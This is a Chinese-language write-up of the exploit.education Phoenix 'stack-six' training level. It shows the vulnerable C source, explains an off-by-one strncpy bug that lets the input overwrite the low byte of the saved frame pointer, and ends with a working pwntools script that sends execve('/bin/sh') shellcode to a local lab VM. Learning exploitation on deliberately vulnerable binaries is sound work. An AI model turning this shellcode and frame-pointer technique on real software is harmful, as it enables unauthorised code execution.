聽說把這段寫進~/.gdbinit 裡面會讓棧的情況更加真實(在調試的時候)#
(參考https://n1ght-w0lf.github.io/binary exploitation/stack-six/)
unset env LINES
unset env COLUMNS
set env _ /opt/phoenix/amd64/stack-six
然後這是本題源碼#
/*
* phoenix/stack-six, by https://exploit.education
*
* Can you execve("/bin/sh", ...) ?
*
* Why do fungi have to pay double bus fares? Because they take up too
* mushroom.
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char *what = GREET;
char *greet(char *who) {
char buffer[128];
int maxSize;
maxSize = strlen(who);
if (maxSize > (sizeof(buffer) - /* ensure null termination */ 1)) {
maxSize = sizeof(buffer) - 1;
}
strcpy(buffer, what);
strncpy(buffer + strlen(buffer), who, maxSize);
return strdup(buffer);
}
int main(int argc, char **argv) {
char *ptr;
printf("%s\n", BANNER);
#ifdef NEWARCH
if (argv[1]) {
what = argv[1];
}
#endif
ptr = getenv("ExploitEducation");
if (NULL == ptr) {
// This style of comparison prevents issues where you may accidentally
// type if(ptr = NULL) {}..
errx(1, "Please specify an environment variable called ExploitEducation");
}
printf("%s\n", greet(ptr));
return 0;
}
理論#
其中 greet 函數有兩點錯誤:
-
strncpy 函數不會自動在末尾添加 \0,而 strdup 是根據 \0 來判斷結尾的
-
strncpy 的起始地址是 buffer + GREET 的長度,但複製長度確是 maxSize,導致了末尾有個跟 GREET 一樣長的區域可以溢出(好像減了 1)。
調試一下發現,覆蓋不到返回地址,但是可以覆蓋到壓進棧裡的 rbp 的最後兩位。
眾所周知(不知道的看這個https://zhuanlan.zhihu.com/p/27339191),進入函數時會執行:
call xxx
;相當於
;push $+1
;jmp xxx
push rbp
mov rbp, rsp
sub rsp, xxx
而函數返回時執行的
leave
ret
相當於
mov rsp, rbp
pop rbp
pop rip
當我們把 greet 函數棧裡面存著的(前)rbp 改為 x。
那麼*x
就會變成 main 函數的棧底,*x+8
就會變成 main 函數的返回地址。
理論存在,實踐開始#
gdb 調試一下,能改的範圍在:0x7fffffffe500~0x7fffffffe5ff
用這個命令看看這個範圍裡都有什麼東西
x/32xg 0x00007fffffffe500
順便確定一下我們輸入的東西在哪。(注意不在棧的範圍的東西不能要了(存疑),所以我們搜環境變量)
(gdb) grep ExploitEducation=
[+] Searching 'ExploitEducation=' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rwx
0x7fffffffeee5 - 0x7fffffffef1c → "ExploitEducation=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
去掉開頭,確定我們輸入的範圍
>>> hex(0xeee5+len("ExploitEducation="))
'0xeef6'
>>> hex(0xeee5+126)
'0xef63'
回到之前看的範圍(好像這樣寫順序不太對,不管了)
0x7fffffffe5c8
裡正好是0x00007fffffffeef6
,你說巧不巧
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
shellcode = b'\x90'*20
shellcode += b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
shellcode += b"A"*(126-len(shellcode))+b'\xc0'
sh = shell.run("/opt/phoenix/amd64/stack-six", env={"ExploitEducation": shellcode})
print(sh.recvline())
sh.interactive()
好了。